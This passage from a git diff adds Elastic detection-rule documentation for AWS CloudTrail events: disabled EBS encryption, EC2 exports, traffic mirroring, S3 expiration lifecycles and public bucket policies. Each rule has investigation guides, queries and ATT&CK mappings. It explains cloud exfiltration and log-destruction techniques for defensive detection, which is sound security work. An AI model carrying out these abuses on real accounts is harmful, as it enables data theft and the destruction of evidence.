IAMUser, AssumedRole, Root, FederatedUser). + - Validate whether the actor is authorized to modify account-level encryption defaults. +- Check `source.ip` and `user_agent.original` to identify the origin of the request and whether it came from a known administrative system, automation process, or an unfamiliar host. +- Correlate with recent IAM activity such as `AttachUserPolicy`, `UpdateAccountPasswordPolicy`, or `PutAccountSetting` to identify potential privilege escalation or account misuse. +**Review the timing and scope** +- Compare the event `@timestamp` with other CloudTrail management events to determine if the encryption change occurred alongside other administrative modifications. +- Investigate if similar actions were executed in other AWS regions, disabling encryption regionally may be part of a broader campaign. +- Review AWS Config or Security Hub findings to determine whether compliance controls or data protection standards (e.g., CIS, PCI-DSS, ISO 27001) have been violated. +**Assess data exposure risk** +- Identify newly created or modified EBS volumes after the timestamp of this change. + - Query CloudTrail for `CreateVolume` or `CreateSnapshot` events without `Encrypted:true`. +- Determine whether sensitive workloads, such as production databases or applications, rely on unencrypted EBS volumes. +- Check for `CopySnapshot` or `ModifySnapshotAttribute` activity that could indicate data staging or exfiltration. +**Correlate related security events** +- Look for concurrent detections or GuardDuty findings involving IAM privilege misuse, credential exposure, or configuration tampering. +- Review CloudTrail logs for any `DisableKeyRotation` or `ScheduleKeyDeletion` events related to the KMS key used for EBS encryption. These may indicate attempts to disrupt encryption mechanisms entirely. +- Review AWS Config timeline to confirm whether encryption-by-default was re-enabled or remained off. + + +*False positive analysis* + + +- **Administrative changes**: System or cloud administrators may disable default encryption temporarily for troubleshooting or migration. Verify if the user identity, role, or automation process is part of a legitimate change. +- **Infrastructure testing**: Non-production environments may disable encryption for cost or performance benchmarking. These should be tagged and excluded. +- **Service misconfiguration**: Some provisioning frameworks or scripts may unintentionally disable encryption defaults during environment setup. Ensure automation code uses explicit encryption flags when creating resources. + +If confirmed as expected, document the change request, implementation window, and user responsible for traceability. + + +*Response and remediation* + + +**1. Containment and restoration** +- Re-enable EBS encryption by default in the affected region to restore protection for new volumes: + - Via AWS Console: EC2 → Account Attributes → EBS encryption → Enable by default. + - Or via CLI/API: `enable-ebs-encryption-by-default`. +- Audit recently created EBS volumes and snapshots. + - Identify any unencrypted resources and re-encrypt them using KMS keys or snapshot-copy encryption workflows. +- Verify that AWS Config rules and Security Hub controls related to EBS encryption (`ec2-ebs-encryption-by-default-enabled`) are enabled and compliant. +**2. Investigate and scope** +- Review IAM policies to ensure only designated administrators have the `ec2:DisableEbsEncryptionByDefault` permission. +- Check for other regional encryption settings (e.g., S3 default encryption) that may have been modified by the same user or automation role. +- Examine whether any new IAM roles or policies were added that allow similar encryption or security modifications. +**3. Long-term hardening** +- Enable organization-level service control policies (SCPs) to prevent future disabling of encryption-by-default across accounts. +- Establish AWS Config conformance packs or Security Hub standards to continuously monitor this setting. +- Integrate detection correlation (e.g., link EBS encryption disablement with subsequent unencrypted `CreateVolume` events) for improved alert fidelity. +- Educate administrators on data protection implications and require change approvals for encryption-related settings. +**4. Recovery validation** +- After restoring encryption-by-default, validate the change in CloudTrail and AWS Config timelines. +- Confirm that subsequent EBS volumes are created with `Encrypted:true`. +- Conduct a short post-incident review to document root cause, impact, and lessons learned for compliance audits. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html[EBS Encryption at Rest]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DisableEbsEncryptionByDefault and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-export-task.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-export-task.asciidoc new file mode 100644 index 0000000000..3c4e55eeb5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-export-task.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-10-aws-ec2-export-task]] +=== AWS EC2 Export Task + +Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport_image.html +* https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.html, + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Asset Visibility +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS EC2 Export Task* + + +The APIs `CreateInstanceExportTask`, `ExportImage`, and `CreateStoreImageTask` allow the export of a running or stopped EC2 instance (or its AMI/image) to external storage (e.g., S3) or image formats. While often used for migration, cloning or backup, adversaries can leverage these actions to copy full VM state or images out of the environment for exfiltration. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id` to identify who made the call. + - Verify `user_agent.original`, `source.ip` and `@timestamp` to determine whether the action is by known automation, trusted operator, or an unexpected identity or location. + - Confirm `cloud.account.id` and `cloud.region` match the expected account/region for export tasks. + +**Examine the specific export/image task details** + - Review `aws.cloudtrail.request_parameters` for details such as the `InstanceId`, `TargetEnvironment`, `S3Bucket`, `S3Key`, `DiskImageFormat`, `ContainerFormat`. + - Check `aws.cloudtrail.response_elements` for the resulting export task ID and status. + - Determine whether the exported instance or image contained sensitive workloads (e.g., production databases, critical systems) via instance tags or asset inventory. + +**Pivot to related API calls/events** + - Look for follow-on tasks such as: + - S3 bucket writes or cross-account bucket ACL changes (`PutBucketAcl`/`PutBucketPolicy`) referencing the export S3 bucket or key. + - `CopyImage`, `ModifyImageAttribute`, or `ShareImage` events if the exported image is copied or shared. + - Network or usage anomalies in the region or from the S3 bucket (large downloads from the exported object). + - Check for preceding suspicious actions that could indicate compromise: `AssumeRole`, `CreateAccessKey`, `AttachUserPolicy`, or unusual `Describe*` operations. + +**Assess legitimacy and risk** + - Confirm whether this export was authorized (via change ticket or migration workflow) and whether the principal has a documented justification for VM export. + - If unauthorized, assess what was exported, where it is stored, how it may be transferred or used externally, and the data risk exposure. + + +*False positive analysis* + + +- Legitimate migration or backup workflows may trigger these export/image APIs. +- Development/test environments may export VM images or instances for sandbox cloning. +- Known automation tools may create exports at scheduled times. + + +*Response and remediation* + + +- Immediately identify and disable or isolate any object/resource created by the export (e.g., the S3 bucket/object, image ID) that is suspected of unauthorized use. +- Revoke the access credentials (`aws.cloudtrail.user_identity.access_key_id`) used if they show unusual activity. +- Rotate keys, enforce MFA, and review IAM permissions for the principal. +- Audit the exported VM/image: review its contents if possible, check whether it has been moved off-account. +- Strengthen monitoring: set alerts for subsequent large data transfers from the S3 export location, cross-account sharing of exported images, or anomalous AMI imports. +- Update policy: restrict who can perform exports, monitor export actions via AWS Config or CloudTrail, tag and track export tasks and their destinations. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: ("CreateInstanceExportTask" or "ExportImage" or "CreateStoreImageTask") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-full-network-packet-capture-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-full-network-packet-capture-detected.asciidoc new file mode 100644 index 0000000000..d1f759f6dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-full-network-packet-capture-detected.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-10-aws-ec2-full-network-packet-capture-detected]] +=== AWS EC2 Full Network Packet Capture Detected + +Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorSession.html +* https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS EC2 Full Network Packet Capture Detected* + + +This alert fires on a successful `CreateTrafficMirrorSession`, which enables full-packet Traffic Mirroring from a +source ENI to a mirror target under a given filter. Because sessions immediately begin sending packets once active, +treat unexpected creations as high priority. + + +*Possible investigation steps* + + +**Identify the actor and execution context** +- **Principal**: Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id` to determine who created the session (human IAM user vs. assumed role vs. automation). +- **Caller metadata**: Check `user_agent.original`, and `source.ip` for unusual tools, hosts, or locations. +- **Account/Region/Time**: Validate `cloud.account.id`, `cloud.region`, and `@timestamp` against change windows or tickets. + +**Extract the session details from the event** +- **Request parameters**: Parse `aws.cloudtrail.request_parameters` for: + - `NetworkInterfaceId` (mirrored source ENI) map to the EC2 instance and its business function. + - `TrafficMirrorTargetId` identify where packets are being sent (ENI vs. NLB). + - `TrafficMirrorFilterId` check which directions and protocols are allowed (ingress/egress, ports). + - `SessionNumber`, `Description`, `TagSpecifications` look for operator tags or suspicious notes. +- **Response elements**: Use `aws.cloudtrail.response_elements` to confirm the created `TrafficMirrorSessionId` and + any resolved resource ARNs/IDs. + +**Pivot for related API calls to validate scope and intent** +Look before and after this event (±30–60 minutes) by the same principal / access key / source IP for: +- **Target & Filter lifecycle**: `CreateTrafficMirrorTarget`, `CreateTrafficMirrorFilter`, `CreateTrafficMirrorFilterRule`, + `ModifyTrafficMirrorSession|Filter|FilterRule`, and `Delete*` calls (rapid create-modify patterns can indicate staging). +- **Session management**: `DeleteTrafficMirrorSession` shortly after creation (test/probe), or repeated creations to different targets. +- **Discovery/positioning**: `DescribeNetworkInterfaces`, `DescribeInstances`, `DescribeVpcs/Subnets/RouteTables` around the same time. +- **Cross-account indicators**: creation of targets that forward to infrastructure not owned by your account (e.g., NLB in shared services). +- **Other suspicious changes**: IAM permission changes, new access keys, or S3/SNS setup that could support exfil/ops. + +**Validate the mirror destination and potential data exposure** +- If the target is an ENI: identify the owning instance/application; confirm it is an approved NDR/packet capture host. +- If the target is an NLB target: determine where the NLB sends traffic (could be a collection point in another VPC or account). +- Assess whether mirrored flows include plaintext protocols (internal HTTP, databases, LDAP, etc.) increasing sensitivity. + + +*False positive analysis* + + +- **Authorized monitoring**: Approved NDR/IDS tooling or troubleshooting playbooks may legitimately create sessions. +- **Ops/diagnostics**: Short-lived sessions during incident handling or performance analysis. +- **Automation**: Infrastructure pipelines that stand up temporary mirroring for validation. + + +*Response and remediation* + + +**1. Contain** +- If unauthorized, terminate the session immediately (use the `TrafficMirrorSessionId` from `aws.cloudtrail.response_elements`) + and block creation permissions for the offending principal. +- Quarantine or restrict egress from the target if you suspect it is forwarding captured traffic outside approved destinations. + +**2. Investigate** +- Enumerate all active sessions in the affected account/region; verify there aren’t additional rogue sessions. +- Review related target and filter resources (and recent `Modify*` calls) to understand captured scope and recipients. +- Trace the source ENI back to the EC2 instance and validate whether sensitive workloads were mirrored. + +**3. Recover & harden** +- Remove or lock down unapproved targets/filters; enforce least privilege on `ec2:CreateTrafficMirrorSession/Target/Filter`. +- Consider SCPs or IAM conditions limiting who/where sessions can be created (e.g., only into designated monitoring VPCs). +- Ensure monitoring targets are controlled, logged, and not internet-reachable. + +**4. Improve** +- Add correlation logic to automatically surface CreateTrafficMirrorSession alongside Create/Modify Target/Filter calls by the same actor. +- Require tags on approved mirroring resources; alert on untagged/unticketed creations. +- Update playbooks to include a standard validation checklist (principal, source ENI, target, filter rules, destination path). + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: "CreateTrafficMirrorSession" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc new file mode 100644 index 0000000000..bd02c6ceb5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-10-aws-s3-bucket-expiration-lifecycle-configuration-added]] +=== AWS S3 Bucket Expiration Lifecycle Configuration Added + +Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Expiration Lifecycle Configuration Added* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + +This rule detects when a lifecycle expiration policy is added to an S3 bucket via the `PutBucketLifecycle` or `PutBucketLifecycleConfiguration` API. Note: `PutBucketLifecycleConfiguration` is the newer supported API call, however both of these API calls show up as `PutBucketLifecycle` in Cloudtrail https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-bucket-level-tracking[ref]. +Lifecycle expiration automatically deletes objects after a defined period (`Expiration:Days`), which can be leveraged by adversaries to erase logs, exfiltration evidence, or security artifacts before detection and response teams can review them. + +Because deletion is automated and often silent, detecting the initial configuration event is critical. + + +*Possible investigation steps* + + +**Identify the actor and execution context** + +- **Principal and Identity Type**: + Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. + Determine if the actor is an IAM user, role, or automation service account. + - Unusual: temporary credentials, federated roles, or previously inactive accounts. +- **Source Information**: + Review `source.ip`, `cloud.region`, and `user_agent.original` for unexpected geolocations, tool usage (CLI, SDK, automation service), or newly-observed hosts. +- **Timestamp correlation**: + Use `@timestamp` to check if this activity occurred during change windows or off-hours. + +**Examine the lifecycle configuration details** +- Extract details from `aws.cloudtrail.request_parameters`: + - `Expiration`: Number of days until deletion (e.g., `Days=1` indicates rapid expiry). + - `Prefix`: If limited to certain object paths (e.g., `/logs/`, `/tmp/`). + - `Status`: `Enabled` vs. `Disabled`. + - `ID` or rule name: May reveal purpose (“cleanup-test”, “delete-logs”). +- Determine the affected bucket from `aws.cloudtrail.resources.arn` or `aws.cloudtrail.resources.type`. + Cross-check the bucket’s purpose (e.g., log storage, data lake, analytics export, threat forensics). + - High-risk if the bucket contains audit, CloudTrail, or application logs. + +**Correlate with related AWS activity** +Use AWS CloudTrail search or your SIEM to pivot for: +- **Prior suspicious activity**: + - `DeleteObject`, `PutBucketPolicy`, `PutBucketAcl`, or `PutBucketLogging` changes to disable visibility. + - IAM changes such as `AttachUserPolicy` or `CreateAccessKey` that may have enabled this modification. +- **Subsequent changes**: + - `PutBucketLifecycle` events in other buckets (repeated pattern). + - Rapid `DeleteObject` events or object expiration confirmations. +- **Cross-account activity**: + - Lifecycle rules followed by replication or cross-account copy events may indicate lateral exfiltration setup. + +**Assess intent and risk** +- Verify if the actor has a valid business case for altering object retention. +- If the bucket is used for security, compliance, or audit data, treat this as potential defense evasion. +- Evaluate whether the lifecycle rule removes data faster than your retention policy permits. + + +*False positive analysis* + + +- **Cost optimization**: Storage teams may automate lifecycle policies to reduce cost on infrequently accessed data. +- **Compliance enforcement**: Organizations implementing legal retention policies may set expiration for specific datasets. +- **Automation and IaC pipelines**: Terraform or CloudFormation templates often apply `PutBucketLifecycle` during resource deployment. + + +*Response and remediation* + + +**Containment and validation** +1. **Revert or disable** the lifecycle configuration if it is unauthorized: + - Use the AWS Console or CLI (`delete-bucket-lifecycle` or `put-bucket-lifecycle-configuration --lifecycle-configuration Disabled`). +2. **Preserve evidence**: + - Copy existing objects (especially logs or forensic data) before they expire. + - Enable object versioning or replication to protect against loss. + +**Investigation** +3. Review CloudTrail and S3 Access Logs for the same bucket: + - Identify who and what performed previous deletions. + - Determine whether any objects of investigative value have already been removed. +4. Search for other S3 buckets where similar lifecycle configurations were added in a short timeframe. + +**Recovery and hardening** +5. Implement guardrails: + - Use AWS Config rules like `s3-bucket-lifecycle-configuration-check` to monitor lifecycle changes. + - Restrict `s3:PutLifecycleConfiguration` to specific administrative roles. + - Enable https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html[S3 Object Lock] on log or evidence buckets to enforce immutability. +6. Enable Security Hub and GuardDuty findings for additional anomaly detection on S3 data management activity. + + +*Additional information* + + +- **AWS Documentation** + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html[S3 Lifecycle Configuration] + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html[DeleteBucketLifecycle API Reference] +- **AWS Playbooks** + - https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-PersonalDataBreach.md[Data Exposure and Exfiltration Response] + - https://github.com/aws-samples/aws-customer-playbook-framework/tree/main[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.action == "PutBucketLifecycle" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Expiration=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Sub-technique: +** Name: Lifecycle-Triggered Deletion +** ID: T1485.001 +** Reference URL: https://attack.mitre.org/techniques/T1485/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc new file mode 100644 index 0000000000..ef65f55e5d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-allow-public-access]] +=== AWS S3 Bucket Policy Added to Allow Public Access + +Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:"*") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:"*" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. +> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to your specific environment and operational needs. + + +*Investigating AWS S3 Bucket Policy Added to Allow Public Access* + + +This rule detects modifications to Amazon S3 bucket policies using the `PutBucketPolicy` API where both `Effect=Allow` +and `Principal:"*"` are present. This effectively grants permissions to all AWS identities, including unauthenticated users. +Such exposure can result in sensitive data leaks, ransomware staging, or unauthorized data collection. + +This rule focuses on policy-based exposure rather than ACL-based or block-public-access configurations. +It will still trigger if a bucket policy includes both `Effect=Allow` and `Effect=Deny` statements that contain `Principal:"*"`. Those cases should be reviewed to confirm whether the `Deny` statement restricts access sufficiently. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Validate whether this user or role is authorized to modify S3 bucket policies. + - Examine `source.ip`, `source.geo`, and `user_agent.original` to identify unusual sources or tools (e.g., CLI or SDK-based activity). + +- **Analyze the Bucket Policy Content** + - Extract the full JSON from `aws.cloudtrail.request_parameters`. + - Look for `Effect=Allow` statements paired with `Principal:"*"`. + - Identify what permissions were granted — for example: + - `s3:GetObject` (read access to all objects) + - `s3:PutObject` or `s3:*` (read/write access) + - Check if the policy also contains any `Effect=Deny` statements targeting `Principal:"*"`. + If present, determine whether these statements fully restrict public access, if so this alert can be closed. + +- **Assess the Impact and Scope** + - Review `aws.cloudtrail.resources.arn` to confirm which bucket was affected. + - Determine if the bucket contains sensitive, regulated, or internal data. + - Check for `PutPublicAccessBlock` or `DeleteBucketPolicy` events in close proximity, as attackers often disable protections first. + +- **Correlate with Related Activity** + - Review CloudTrail for `GetObject` or `ListBucket` events following the policy change to identify possible data access. + - Look for policy changes across multiple buckets by the same actor, suggesting scripted or automated misuse. + +- **Validate Intent** + - Contact the bucket owner or application owner to determine whether this change was part of a legitimate operation (e.g., website hosting or public dataset publishing). + - Review change management logs or ticketing systems for documented approval. + + +*False positive analysis* + + +- **Intended Public Access** + - Buckets used for static websites, documentation hosting, or public datasets may legitimately contain `Principal:"*"`. + - Verify such use cases are covered by organizational policies and hardened with least-privilege permissions (e.g., read-only). + +- **Effect=Deny Condition** + - This rule does not currently exclude cases where `Principal:"*"` appears under both `Effect=Allow` and `Effect=Deny`. + - Analysts should review the bucket policy JSON to confirm whether `Deny` statements restrict the same resources. + - If access remains blocked to unauthorized entities, the alert can be dismissed as a false positive. + +- **Automation or Pipeline Behavior** + - Some automated pipelines or templates (e.g., Terraform, CloudFormation) create temporary policies with `Principal:"*"` for bootstrap access. + Review timing, user agent, and role identity for expected automation patterns. + + +*Response and remediation* + + +- **Containment** + - If exposure is unauthorized, immediately remove the public access policy using: + - `aws s3api delete-bucket-policy` or restore from version control. + - Re-enable Block Public Access at the account and bucket levels. + +- **Investigation and Scoping** + - Review CloudTrail and S3 access logs to identify whether external IPs accessed bucket objects after the policy change. + - Search for similar policy updates across other buckets in the same account or region. + - Validate AWS Config history for baseline deviations and determine how long the bucket was publicly exposed. + +- **Recovery and Hardening** + - Reinstate the intended bucket policy from backups or version control. + - Implement AWS Config rules: + - `s3-bucket-public-read-prohibited` + - `s3-bucket-public-write-prohibited` + - Restrict `s3:PutBucketPolicy` permissions to trusted administrative roles. + - Apply service control policies (SCPs) that prevent policies containing `Principal:"*"` unless explicitly approved. + - Enable continuous monitoring through AWS Security Hub or GuardDuty for any new public exposure events. + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") + and stringContains(aws.cloudtrail.request_parameters, "Principal=\\*") + +---------------------------------- 